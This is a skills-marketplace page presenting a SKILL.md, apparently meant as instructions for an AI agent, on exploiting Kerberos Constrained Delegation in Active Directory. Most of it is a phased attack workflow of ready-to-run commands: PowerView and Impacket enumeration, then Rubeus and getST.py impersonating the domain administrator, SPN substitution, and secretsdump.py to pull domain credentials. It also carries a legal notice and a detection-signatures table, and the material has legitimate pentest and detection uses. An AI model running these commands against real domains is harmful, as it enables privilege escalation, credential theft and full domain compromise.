跳到正文
cccskills
免费在 GitHub 公开

exploiting-constrained-delegation-abuse

Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions for lateral movement and privilege escalation.

中文简介正在准备中。当前显示原文说明。

查看安装方法

包含的文件(6)

  • SKILL.md8.6 KB
  • LICENSE11.0 KB
  • references/api-reference.md2.2 KB
  • references/standards.md847 B
  • references/workflows.md723 B
  • scripts/agent.py4.4 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

Exploiting Constrained Delegation Abuse

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

When to Use

  • When performing authorized security testing that involves exploiting constrained delegation abuse
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate accounts with Constrained Delegation configured in the domain
  • Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
  • Exploit S4U2self and S4U2proxy to impersonate Domain Admin
  • Obtain service tickets for delegated services as a privileged user
  • Access delegated services (CIFS, LDAP, HTTP) on target hosts
  • Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1134.001 - Access Token Manipulation: Token Impersonation/Theft
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1021 - Remote Services

Workflow

Phase 1: Enumerate Constrained Delegation

  1. Find accounts with Constrained Delegation using PowerView:
    # Find users with Constrained Delegation
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Find computers with Constrained Delegation
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Using AD Module
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. Using Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. Using BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
    # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    

Phase 2: Exploit with Rubeus (Windows)

  1. If you have the password or hash of the constrained delegation account:
    # Request TGT for the constrained delegation account
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # Perform S4U2self + S4U2proxy to impersonate administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # Alternative: specify alternate service name
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. Combined TGT request and S4U in single command:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    

Phase 3: Exploit with Impacket (Linux)

  1. Request service ticket via S4U protocol extensions:
    # Using getST.py with S4U
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    # Using hash instead of password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
      -dc-ip 10.10.10.1 domain.local/svc_sql
    
    # Use the obtained ticket
    export KRB5CCNAME=administrator.ccache
    smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
    

Phase 4: Alternate Service Name Abuse

  1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
    # Request CIFS ticket, then use it for LDAP (DCSync)
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -altservice LDAP/DC01.domain.local \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
  2. This technique works because the service name in the ticket is not cryptographically bound to the session key

Phase 5: Protocol Transition Attack

  1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
    # S4U2self obtains a forwardable ticket without requiring the user to authenticate
    # This means we can impersonate ANY user without their password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
  2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

Tools and Resources

ToolPurposePlatform
RubeusS4U Kerberos ticket manipulationWindows (.NET)
getST.pyS4U service ticket requests (Impacket)Linux (Python)
findDelegation.pyDelegation enumeration (Impacket)Linux (Python)
PowerViewAD delegation enumerationWindows (PowerShell)
BloodHound CEVisual delegation path analysisDocker
KekeoAdvanced Kerberos toolkitWindows

Delegation Types Comparison

TypeAttributeScopeAttack Complexity
UnconstrainedTRUSTED_FOR_DELEGATIONAny serviceLow (capture TGTs)
ConstrainedmsDS-AllowedToDelegateToSpecific SPNsMedium (S4U abuse)
Constrained + Protocol Transition+ TRUSTED_TO_AUTH_FOR_DELEGATIONSpecific SPNsMedium (no user auth needed)
Resource-Based (RBCD)msDS-AllowedToActOnBehalfOfOtherIdentityOn targetMedium (writable attribute)

Detection Signatures

IndicatorDetection Method
S4U2self ticket requestsEvent 4769 with unusual service and impersonation
S4U2proxy forwarded ticketsEvent 4769 with delegation flags set
Alternate service name in ticketMismatch between requested SPN and actual service access
Rubeus.exe executionEDR process detection, command-line logging
Delegation configuration changesEvent 5136 for msDS-AllowedToDelegateTo modifications

Validation Criteria

  • Accounts with Constrained Delegation enumerated
  • Delegation targets (msDS-AllowedToDelegateTo) identified
  • S4U2self ticket obtained for target user
  • S4U2proxy ticket forwarded to delegation target
  • Privileged access to delegated service validated
  • Alternate service name substitution tested
  • Protocol transition capability assessed
  • Evidence documented with ticket exports and access proof

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.

中文简介正在准备中。当前显示原文说明。

aniket2348823/Vul-Agent22026年6月9日 更新

查看 aniket2348823 的全部技能

报告此技能的问题